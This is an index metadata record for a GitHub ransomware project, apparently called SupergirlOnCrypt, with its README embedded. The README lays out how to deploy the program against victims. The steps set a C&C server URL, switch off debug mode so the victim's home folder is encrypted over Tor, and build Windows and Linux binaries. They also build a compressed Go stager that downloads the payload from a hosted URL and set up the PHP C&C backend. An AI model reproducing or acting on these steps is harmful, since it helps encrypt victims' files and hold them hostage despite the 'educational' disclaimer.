{"id":14036993,"url":"https://github.com/ThoughtfulDev/SupergirlOnCrypt","last_synced_at":"2025-07-27T04:33:29.885Z","repository":{"id":108169818,"uuid":"99351307","full_name":"ThoughtfulDev/SupergirlOnCrypt","owner":"ThoughtfulDev","description":"CryptoTrojan in Python (For educational purpose ONLY)","archived":false,"fork":false,"pushed_at":"2018-03-23T09:25:07.000Z","size":31350,"stargazers_count":45,"open_issues_count":1,"forks_count":12,"subscribers_count":4,"default_branch":"master","last_synced_at":"2024-11-29T10:49:34.644Z","etag":null,"topics":["crypto","cryptography","python","python3","ransomware","supergirl"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"wtfpl","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ThoughtfulDev.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2017-08-04T14:33:34.000Z","updated_at":"2024-10-25T01:49:24.000Z","dependencies_parsed_at":null,"dependency_job_id":"92de1331-0dfb-43d6-83c2-16bd4051730e","html_url":"https://github.com/ThoughtfulDev/SupergirlOnCrypt","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ThoughtfulDev%2FSupergirlOnCrypt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ThoughtfulDev%2FSupergirlOnCrypt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ThoughtfulDev%2FSupergirlOnCrypt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ThoughtfulDev%2FSupergirlOnCrypt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ThoughtfulDev","download_url":"https://codeload.github.com/ThoughtfulDev/SupergirlOnCrypt/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":227762373,"owners_count":17816015,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["crypto","cryptography","python","python3","ransomware","supergirl"],"created_at":"2024-08-12T03:02:23.327Z","updated_at":"2024-12-02T16:31:25.370Z","avatar_url":"https://github.com/ThoughtfulDev.png","language":"Python","funding_links":["https://www.buymeacoffee.com/supergirl"],"categories":["Python"],"sub_categories":[],"readme":"# SupergirlOnCrypt :heart: :punch: :boom:\n\n![Project Logo](https://thoughtful-dev.com/projects/supergirloncrypt/header.jpg)\n\n**For EDUCATIONAL PURPOSE ONLY**\n\nThis is a Crypto Trojan written in Python which can be packed using Pyinstaller... \nand i :heart: Supergirl so there you go.\n\n**To decrypt the Data the Victim has to answer some Questions about Supergirl! (No Payment required since it was just a fun Project)**\n\n## Content\n1. [Requirements](#requirements)\n2. [Setup](#setup)\n3. [Building](#building)\n---\n![Image while Building](https://thoughtful-dev.com/projects/supergirloncrypt/term.png)\n---\n## Requirements\n\nBoth Windows AND Linux must have Python \u003e= 3.5 installed to build the Executable/Binary.\n\nOptionally you need the Golang compiler if you want to use the Go Stager because the Binary with Pyinstaller is quite large (~30mb - Windows and Linux)\n(Go Stager is only ~700kb).\n\n---\n## Setup\n\nWe will generate the API´s public and private key in this process.\nSo if you first generate a binary for Linux as shown here then you have to copy the whole repository folder to the windows box and only choose to recreate the `venv`.\n## The Trojan\n\n1. Change the API_URL in App/Config.py to your C\u0026C Server URL\n2. Disable DEBUG_MODE (Leave it on if your API is running locally because otherwise Tor cant reach your local network)\n3. Optionally change your File Types\n4. Build Executables/Binary for Windows and/or Linux\n5. Setup API\n\n## Overview of DEBUG True vs False\nDebug On | Debug Off\n------------ | -------------\nCreates a logfile | No logfile\nDoes not user Tor | Uses Tor to communicate\nEncrypts Folder `./test_files` | Encrypts Users HomeFolder\n\n**If you are Testing leave the DEBUG MODE ON OR USE A VM**\n\n\n## Building\n\n### Linux\n```\n$ cd Scripts\n$ ./supergirl.sh setup python3\n$ ./supergirl.sh build\n```\n**Now copy the whole folder to the Windows VM/Machine where you want to build the Windows Executable. When running the `supergirl.ps1` ONLY recreate the `venv` and NOT the Keys since they are already generated from our Linux Setup.** *\n\n*Optionally you can also clone the Repo to the Windows Machine and only replace `API/bin/private.key` and `App/res/server.public.key`\n\n**This also applies vice versa**\n\n### Windows\n```\nPS\u003e cd Scripts\nPS\u003e .\\supergirl.ps1 -mode setup -path C:\\\\...\\\\python.exe\nPS\u003e .\\supergirl.ps1 -mode build\n```\n\n### Building Stager\n1. Upload your Binary which you gathered from the previous step\n2. Go to `./Stagers/Go` and open `main.go`\n3. Change line 34 `var url string = \"your-direct-download-url-here\"`\n\n#### Building a Linux Stager\n4. `GOOS=linux go build -ldflags=\"-s -w\" -o stager main.go`\n\n#### Building a Windows Stager\n5. `GOOS=windows GOARCH=386 go build -ldflags=\"-s -w -H=windowsgui\" -o stager.exe main.go`\n\n6. Optionally compress the Stager(.exe) binary with upx\n\n7. LINUX: `upx --ultra-brute -o compressed_stager stager`\n7. WINDOWS: `upx.exe --ultra-brute -o compressed_stager.exe stager.exe`\n8. Done\n\n## API\n\nSince we communicate with our API we need to set it up. The API(located in ./API duhh) is written in PHP so any Linux /Win Server will do.\nOn your Ubuntu C\u0026C Server run:\n```\n$ sudo add-apt-repository ppa:ondrej/php\n$ sudo apt update\n$ sudo apt install apache2 php7.1 libapache2-mod-php7.1 php7.1-mbstring php7.1-sqlite3 php7.1-xml\n$ sudo apt install composer unzip\n```\nNow copy the API Folder to your Server in the www root\n\n```\n$ cd /var/html\n$ composer install\n```\nWe need to install python to decrypt our keys if a user wants to decrypt\n```\n$ sudo apt install python3 python3-dev python3-pip\n$ pip3 install cryptography\n```\nYour API should now be ready on http://ip/public (should respond with 501)\n\n**I wont show you how to setup a Tor hidden Service**\n\n## Contributing\nYou can always open a Pull Request\n\nOR\n\n[![Buy me a coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://www.buymeacoffee.com/supergirl)\n\n\n\n# Disclaimer\n\n### FOR EDUCATIONAL PURPOSE ONLY I AM NOT RESPONSIBLE FOR ANYTHING\n```\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n                    Version 2, December 2004\n\n Copyright (C) 2017 ThoughtfulDev\n\n Everyone is permitted to copy and distribute verbatim or modified\n copies of this license document, and changing it is allowed as long\n as the name is changed.\n\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. You just DO WHAT THE FUCK YOU WANT TO.\n```\n---\nI have no Idea if you understand this README. \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FThoughtfulDev%2FSupergirlOnCrypt","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FThoughtfulDev%2FSupergirlOnCrypt","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FThoughtfulDev%2FSupergirlOnCrypt/lists"}